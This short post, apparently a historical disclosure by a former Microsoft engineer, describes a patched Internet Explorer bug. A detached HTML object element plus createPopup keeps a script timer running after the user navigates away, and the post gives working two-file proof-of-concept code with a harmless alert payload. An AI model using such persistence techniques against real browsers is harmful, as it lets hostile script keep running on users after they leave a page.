Resident Script Execution via HTML Object Element and createPopup

Creating an <object type="text/html"> element via createElement (without appending it to the DOM), navigating the main page away, and then calling createPopup on the object’s window kept a setInterval running indefinitely — even on the destination page and across further navigations.

index.html:

var obj = document.createElement('<object type="text/html" data="dummy.html" width="100" height="100"></object>');

function main()
{
	window.open("resident.html","", "width=300,height=300");
}

resident.html:

var win = opener.obj.parentWindow;
opener.location = "http://www.bing.com";
setTimeout("runCodeInObject()", 2000);

function runCodeInObject()
{
	win.setInterval("alert('Hello! I am still alive!');", 5000);
	win.cp = win.createPopup();
	win.cp.show(0,0,1000,1000);
	window.close();
}

The key steps: the HTML object element existed only as a detached DOM node, but its parentWindow remained a live window. The temporary helper window navigated the main page to Bing, then called setInterval and createPopup on the object’s window before closing itself. The createPopup call wasn’t visible (the popup opened but wasn’t in a meaningful position) — it was needed to keep the object’s window alive in IE’s lifecycle. Once that was done, setInterval kept firing alert() every five seconds even while the user browsed Bing.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.